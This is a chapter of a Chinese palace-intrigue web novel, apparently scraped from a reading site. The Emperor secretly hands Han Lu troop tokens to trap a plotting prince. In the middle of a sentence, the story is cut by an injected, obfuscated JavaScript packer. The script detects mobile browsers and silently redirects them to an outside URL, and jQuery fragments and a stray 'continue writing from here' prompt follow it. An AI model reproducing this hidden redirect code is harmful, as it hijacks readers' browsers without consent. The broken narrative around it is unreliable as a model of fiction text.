默认冷灰
24号文字
方正启体

157. 青睐

作者:岁左本书字数:K更新时间:
    韩逯闻言浑身一震,脚步猛地刹住,拉着苏照月的手不由自主的收紧。


    他回头,目光沉沉地落在季安身上。刚刚季安看向苏照月的眼神太过浓烈,这个季安对苏照月的关心绝非寻常。


    “季公公。”韩逯开口,声音冷硬,“路已带到,至于其他的……本官只有分寸,不劳旁人费心。”


    “旁人”二字,韩逯咬得极重。说完,他还将苏照月往身旁拉了半步。


    季安被韩逯的态度刺得一怔,他垂下眼睑,再抬头时,眼中已看不出情绪,他浅笑一下:“是奴才多嘴了。”说罢,他朝二人行了一礼,转身朝着另外一条小径走去,步履从容。


    他的身影在午后寂寥的宫道上,显得有些单薄。苏照月盯着他的背影,心中泛起一阵酸涩。


    “这人……”直到季安的身影走远,韩逯才微微松开握着苏照月的手,转头看向她,却见她正望着季安离开的方向,眼神怔忡,那神色里带着韩逯从未见她展露过得痛楚与温柔。


    韩逯心中的疑惑已经变成了另一种灼人的闷气,“这人你认识?”


    苏照月被他的声音唤回神,转头,便对上了他带着明显不悦的目光,心中刚刚因季安而起还未平复的心绪,此刻又添了几分无奈。她知道他误会了,可这误会,她这会儿也没法澄清,毕竟,季安的身份,她从未证实过。


    “在太后宫里见过几面。”苏照月收敛心神,语气中带着息事宁人的意味:“眼下不是说这些的时候,先去见太后要紧。”


    这解释太过敷衍,甚至像是在回避,韩逯盯着她看了两秒,一张脸绷得更紧了。但苏照月说得对,眼下不是计较这些的时候,可是季安浅笑的两个梨涡像是一块石头堵在他心头,让他有些烦躁。


    他强压下心头的郁气,转身拉起苏照月朝毓盛宫走去,步伐快了许多。苏照月几乎得小跑才能跟上,她微微叹了口气,没有试图挣扎,也没有解释,她只是回握住韩逯的手。


    韩逯微微一顿,飞快回头看她,此刻她的眼中比平日多了一分安抚的神色。他心中那股郁气似乎消散了许多,他移开目光,脸依旧绷得很紧,手上的力道却悄然松了些。


    两人顺利从侧门进了毓盛宫的后园,正巧遇到了文茜,文茜只一眼便认出了二人,并没有表现得太过意外,她将二人引到偏殿暖阁中。


    暖阁中檀香清雅,太后娘娘端坐在主位,一身藕荷色常服,雍容华贵。


    二人上前见礼,太后抬手虚浮,目光在二人身上略微停留,神色复杂。


    “起来吧。”太后声音温和,“皇帝一会儿便到。秉钧,你随文茜去偏殿候着吧。”显然文茜已经跟太后禀报过了。


    韩逯知道太后定然与苏照月有事要谈,可能涉及皇帝的龙体,他不宜在场。他看了眼苏照月,见她神色如常,便躬身应道:“臣遵旨。”便跟着文茜出去了。


    暖阁内只剩下太后与苏照月,门口处远远站着两名心腹宫女。


    “阿月,上前来。”太后朝苏照月招招手,随即伸出手腕,“最近这些日子,哀家总觉得精神短了些,太医的方子吃了也不见好,还是你来看看。”


    苏照月依言上前,净了手为太后诊脉。太后的脉象从容平稳,她临行交代的祛毒的法子,太医院的太医使得很好,太后体内的余毒已经清了七七八八,只是心脉处略有虚浮,应该是忧思过重所致。她收回手,垂眸恭敬道:“娘娘,您凤体无碍,体内余毒已清了七八成,只需要继续行针、服药调理,假以时日,便能痊愈。只是娘娘进来忧思劳神,损了心脉,还请娘娘放宽心,静养为宜。”


    太后收回手,淡淡一笑,“多事之秋,想要不忧思,难啊。”她看向苏照月:“阿月,淮安一行凶险,哀家也有耳闻。你为陛下寻药之事……朱雀胆,可带回来了?”


    苏照月面色平静,“回太后娘娘,幸不辱命,朱雀胆已得,炮制妥当,药性完好。待将‘赤焰沙’的矿物之精提纯,便能为陛下行针用药了。”


    “好,如此甚好!”太后面露喜色,她看了苏照月片刻,缓缓开口:“阿月啊,哀家瞧着,你是个有真本事的。年纪轻轻医术了得,更难得的是,心性沉稳,处事周全。”她顿了顿,接着说道,“陛下龙体关乎国本,你之前进献的法子也需要时时看顾,太医院那些太医,要么过于保守,要么心思不多,哀家总是不太放心。”


    苏照月心头微跳。


    太后继续说道:“你父亲苏知行,虽然是个五品侍读,但为人勤勉。你外祖魏国公府,更是世代忠良。你的出身,入宫侍奉也是使得的。待此番事了,朝局平稳后,哀家就向陛下进言,给你个宫中女医官的职衔,专司为陛下和哀家安康调理。你觉得如何?”


    这番话,看似商量,实则哪由得她拒绝。不能明面拒绝,只能想办法委婉答应,暂缓此时,待到晋阳王事了,拿了吕先和廖学元,查明沈家冤案真相,往后的事再想办法。苏照月心中念头急转,要怎样才能委婉又不拂了太后的面子。


    此时暖阁外传来通传声:“陛下驾到——”


    苏照月暗暗松了口气,退至一旁,低下头,姿态恭敬。


    太后声色未变,没再纠缠刚刚的话,含笑看向门外。


    祁序从门外进来,一身明黄色常服,身后只跟着梁栋一人。看上去比之前清减了许多,面上覆着一层寒意,在看到太后时,那层寒意才稍稍褪去一些。


    “儿子给母后请安。”祁序朝太后行礼。


    “皇帝来了,快坐。”太后笑容慈蔼,又对苏照月道:“阿月也起来吧。”


    祁序并未入坐,目光扫过苏照月并未做过多停留,“听梁栋说,秉钧已经到了?”


    “嗯,在偏殿候着。”太后点头,“皇帝先去见他吧。”


    祁序颔首,随即便带着梁栋转身出了暖阁,往偏殿方向去了。


    祁序离开后,太后仿佛忘了刚刚所提的入宫之事,只与苏照月聊了几句家常,便让文茜带着苏照月去开调理的方子。


    苏照月跟在文茜身后,思绪纷乱,为祁序献上救治之策时,太后曾许过县主之位,如今却又要求她以医女的身份入宫,这主意不知是太后的意思还是祁序的。


    偏殿内门窗紧闭,祁序屏退了其余人只留下梁栋守在门口。韩逯已经将脸上的易容除去,换了身深色常服。他单膝跪地,将手中的乌木匣子举过头顶,“陛下,臣韩逯,复命。”


    祁序走过去,从他手中接过匣子,打开,里面整齐的码放着账册、书信、印鉴拓本,还有几份按着血手印的口供。


    他看向韩逯,声音低哑,“秉钧,起来说话。你身上的伤可好全了?”


    韩逯依言起身,垂首恭立,“劳陛下挂念,臣已无大碍。”


    祁序颔首,这才走到临窗的书案前坐下,仔细翻看匣子里的证据。他看得很慢,一页一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289069|190346||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    页看过去,越看,脸色越沉。在看到其中有关当前朔北军相关的往来文书和账目时,祁序的手指停在那几页纸上良久。


    “朔北军……沈契将军……”祁序缓缓开口,“朕记得他最后一次出征时,曾于宫门前叩首,立誓必要收复燕云十六州余下几州,迎回皇伯父,那是朕在父皇身旁……”


    他放下手中的东西,看向韩逯,“吕先,廖学元……好得很,为谋私利,贪污军饷,构陷忠良,如今又勾结朕的好堂兄,意图谋逆……”


    他的目光沉沉,“秉钧,这些证据属实?”


    韩逯躬身:“陛下,臣以性命担保,桩桩件件,皆可查证!”


    “好!”祁序将匣子合上,站起身来,“沈家的案子,便交由你重查,若沈家真有冤屈,朕必将还沈将军一个清白。如今吕先、廖学元既然与晋阳王扯上关系,那便一起拿下,两桩案子一起查清楚。至于晋阳王……”


    说着他走到窗户边,窗户虽关着,他却依旧目光沉沉地看着,仿佛可以透过窗户纸看到屋外,声音里透出些疲惫,“皇祖母在时,念他身世坎坷,自幼漂泊异乡,让朕多照应这位堂兄。父皇子嗣单薄,朕从小没有兄弟,却也真心视他为兄长。朕一直以为他也就是荒唐了些,没想到……”他似是叹了口气,“他竟然生出了不该有的心思。”


    韩逯只是立在一旁安静地听着,没有接话。


    过了良久,祁序走会书案前,“朕知他勾结了靖安营。五城兵马司的任武倒是个忠心的,也有胆识,前些日子递了折子进来。”他转头看向韩逯,“禁军这边,晋阳王也收买了不少人,现在差的就是个机会。”


    祁序扯了扯嘴角,露出冷笑,“朕便给他这个机会。十日后便是中秋,已经定了在西苑举行中秋宴。若他真的有心,这日便是极好的机会。”


    韩逯心神一震,知道祁序的用意。


    “朕将奋武、神机两营的兵符暂时交予你,振威,铁骑两营本就受你差遣。”说着他从怀中取出两枚半个巴掌大的玄铁令牌放到书案上,推到韩逯身前,“京畿防务,明面上还是由靖安营协同五城兵马司负责,以安其心。暗地里司营兵马由你调动,中秋之夜,朕要将晋阳王及其党羽一网打尽。”


    韩逯上前,单膝跪地,极其郑重的接过兵符,“臣,领旨!必不负陛下重托!”


    祁序伸手拍了拍韩逯的肩膀,语气郑重,“秉钧,此事关系重大,不容有失。朕这堂兄蛰伏多年,党羽众多,未必没有后手,你要小心。”


    “陛下放心。臣知轻重。”


    祁序颔首,似是想起什么,又问:“苏氏女,与你一道回来的?朱雀胆可拿到了?”


    韩逯心头微紧,回道:“幸不辱命,朱雀胆已取到。”


    “嗯。”祁序的脸上闪过一丝满意的神色,“苏氏女医术精湛,母后对她也颇为青睐。”


    祁序这话说得含糊,韩逯面上不动声色,只回道:“是,苏小姐医术精湛,于太后娘娘凤体有益。此番南下,也多亏她协助,方能取得关键证据。”


    祁序微微点头,没再深究,但是他看向韩逯的目光却似有探究之色,片刻后,“你先去安排吧,兵符之事,不可外传。”


    “臣明白。”韩逯躬身退下。


    祁序推开窗户,看向窗外,目光幽幽。从这里续写。韩逯带着苏照月出宫,让江飞送她回城南别院,自己则要去安排十日后的事。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)